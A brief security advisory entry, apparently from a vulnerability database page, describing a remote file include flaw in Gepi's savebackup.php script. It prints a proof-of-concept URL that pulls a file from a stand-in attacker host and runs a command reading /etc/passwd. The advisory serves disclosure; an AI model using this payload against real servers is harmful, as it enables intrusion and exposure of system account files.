|
|
Gepi Savebackup.PHP Remote File Include Vulnerability
An attacker can exploit this issue via a web client. The following proof of concept is available: http://www.example.com/gepi/gestion/savebackup.php?filename=http://attacker.com/test.txt&cmd=cat/etc/passwd |
|
Privacy Statement |